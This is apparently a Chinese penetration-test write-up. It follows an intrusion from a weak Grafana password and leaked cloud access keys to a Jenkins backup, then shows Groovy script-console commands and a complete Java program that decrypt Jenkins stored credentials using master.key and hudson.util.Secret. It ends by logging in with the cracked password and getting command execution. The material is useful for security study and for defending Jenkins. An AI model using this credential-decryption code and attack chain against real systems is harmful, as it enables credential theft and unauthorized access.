0x01 背景描述
在一次渗透测试过程中,首先发现了Grafana弱口令,登录进去发现了存在存储桶目录,访问存储桶发现存在目录遍历,里面发现存在jar包,打开jar包,发现存在AKSK,通过AKSK获取存储桶权限,通过存储桶信息收集,发现存在Jenkins备份包。
0x02 信息收集
下载源码
通过在网上搜索信息,发现credentials.xml存放密码文件
打开发现
确实存在一行加密的密码字段。
然后理所应当的就思考,思考尝试解密
“遇事不决,可问春风”
然后根据网上找到的策略
0x03 方法策略
1.搭建环境,通过脚本命令行,进行查看所有凭据。
com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{ it.properties.each { prop, val -> println(prop + ' = "' + val + '"') } println("-----------------------") }
借用网上的图,这一步我自己搭建的环境有问题哈哈哈
或者可以手动获取凭据
然后通过脚本命令行进行解密
println(hudson.util.Secret.fromString("{刚刚复制的加密密码}").getPlainText())
但是实际搭建环境,运行出错,这里思考两点,可能版本不对,但是我换了3个版本出错,有明白的大佬,欢迎评论指出,向大佬学习。
2.然后就开始了换一种方式,编写解密代码,进行解密
首先我们要搞清楚需要那些文件
通过上面1进行解密的语句,已经网上查找,都是通过调用credentials.xml、masterkey 、shudson.util.Secret这三个文件
credentials.xml,存放密码hash的地方
masterkey,需要key存放,进行匹配
shudson.util.Secret,组件调用
进行idea选择项目,选择mvean项目
然后运行会发现缺少依赖包,在pom.xml,查看是否写入依赖
package com.Jenkins;
import org.apache.commons.io.IOUtils;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.security.GeneralSecurityException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.Base64;
import static java.nio.charset.StandardCharsets.UTF_8;
public class TestMain {
private static final String KEY_ALGORITHM = "AES";
private static final String ALGORITHM = "AES/CBC/PKCS5Padding";
private final String rootDir = "C:\\Users\\xxx\\JenkinsDecode\\secrets";//目录
private static final byte[] MAGIC = "::::MAGIC::::".getBytes();
// 密文密码
private static final String data = "{密码文本就是credentials.xml中的}";
@org.junit.Test
public void decrypt() {
byte[] payload;
try {
payload = Base64.getDecoder().decode(data.substring(1, data.length()-1));
} catch (IllegalArgumentException e) {
return;
}
switch (payload[0]) {
case 1:
// For PAYLOAD_V1 we use this byte shifting model, V2 probably will need DataOutput
int ivLength = ((payload[1] & 0xff) << 24)
| ((payload[2] & 0xff) << 16)
| ((payload[3] & 0xff) << 8)
| (payload[4] & 0xff);
int dataLength = ((payload[5] & 0xff) << 24)
| ((payload[6] & 0xff) << 16)
| ((payload[7] & 0xff) << 8)
| (payload[8] & 0xff);
if (payload.length != 1 + 8 + ivLength + dataLength) {
// not valid v1
return;
}
byte[] iv = Arrays.copyOfRange(payload, 9, 9 + ivLength);
byte[] code = Arrays.copyOfRange(payload, 9+ivLength, payload.length);
String text;
try {
text = new String(decrypt(iv).doFinal(code), UTF_8);
System.out.println("密码明文:" + text);
} catch (GeneralSecurityException e) {
System.out.println("1111111111111");
// it's v1 which cannot be historical, but not decrypting
return;
}
// return new Secret(text, iv);
default:
return;
}
}
public Cipher decrypt(byte[] iv) {
try {
Cipher cipher = getCipher(ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, getKey(), new IvParameterSpec(iv));
return cipher;
} catch (Exception e) {
throw new AssertionError(e);
}
}
private synchronized SecretKey getKey() throws Exception {
SecretKey secret = null;
try {
byte[] payload = load();
if (payload == null) {
payload = randomBytes(256);
// store(payload);
}
// Due to the stupid US export restriction JDK only ships 128bit version.
secret = new SecretKeySpec(payload, 0, 128 / 8, KEY_ALGORITHM);
} catch (IOException e) {
throw e;
}
return secret;
}
protected byte[] load() throws Exception {
try {
File f = new File(rootDir,"hudson.util.Secret");
if (!f.exists())
return null;
Cipher sym = getCipher("AES");
sym.init(Cipher.DECRYPT_MODE, getMasterKey());
try (InputStream fis= Files.newInputStream(f.toPath());
CipherInputStream cis = new CipherInputStream(fis, sym)) {
byte[] bytes = IOUtils.toByteArray(cis);
return verifyMagic(bytes);
}
} catch (Exception x) {
if (x.getCause() instanceof BadPaddingException) {
throw x; // broken somehow
} else {
throw x;
}
}
}
public static Cipher getCipher(String algorithm) throws GeneralSecurityException {
return Cipher.getInstance(algorithm);
}
private SecretKey getMasterKey() throws Exception {
File file = new File(rootDir,"master.key");
SecretKey masterKey = toAes128Key(read(file).trim());
return masterKey;
}
public String read(File file) throws Exception {
StringWriter out = new StringWriter();
PrintWriter w = new PrintWriter(out);
BufferedReader in = Files.newBufferedReader(file.toPath(), StandardCharsets.UTF_8);
String line;
while ((line = in.readLine()) != null)
w.println(line);
return out.toString();
}
public byte[] randomBytes(int size) {
byte[] random = new byte[size];
new SecureRandom().nextBytes(random);
return random;
}
private byte[] verifyMagic(byte[] payload) {
int payloadLen = payload.length-MAGIC.length;
if (payloadLen<0) return null; // obviously broken
for (int i=0; i<MAGIC.length; i++) {
if (payload[payloadLen+i]!=MAGIC[i])
return null; // broken
}
byte[] truncated = new byte[payloadLen];
System.arraycopy(payload,0,truncated,0,truncated.length);
return truncated;
}
public static String toHexString(byte[] bytes) {
int start = 0;
int len = bytes.length;
StringBuilder buf = new StringBuilder();
for( int i=0; i<len; i++ ) {
int b = bytes[start+i]&0xFF;
if(b<16) buf.append('0');
buf.append(Integer.toHexString(b));
}
return buf.toString();
}
public static SecretKey toAes128Key(String s) {
try {
// turn secretKey into 256 bit hash
MessageDigest digest = MessageDigest.getInstance("SHA-256");
digest.reset();
digest.update(s.getBytes(StandardCharsets.UTF_8));
// Due to the stupid US export restriction JDK only ships 128bit version.
return new SecretKeySpec(digest.digest(),0,128/8, "AES");
} catch (NoSuchAlgorithmException e) {
throw new Error(e);
}
}
}
这段代码使用了Java的加密库进行解密操作。它包含了以下几个重要方法:
decrypt(): 这个方法根据所传入的密文数据进行解密操作。它首先解码密文数据,并根据数据的第一个字节确定数据的版本。然后,根据不同的版本格式进行解析,并在解密完成后将明文输出到控制台。
getCipher(): 这个静态方法返回一个指定算法的Cipher对象。
getKey(): 这个方法根据存储的密文数据加载或生成密钥对象。
load(): 这个方法从文件中加载存储的密文数据,并进行解密操作。
getMasterKey(): 这个方法从master.key文件中读取并转换为AES密钥对象。
toAes128Key(): 这个静态方法将字符串形式的密钥转换为128位的AES密钥对象。
所有都准备完毕,单击运行!!!
使用破解的密码进行登录,通过脚本命令行获取命令执行权限
0x04 思考总结
1.遇见信息泄露,慢慢翻,慢慢看
2.思考如何利用已知的东西,进行深入
3.”遇事不决,可问春风“!!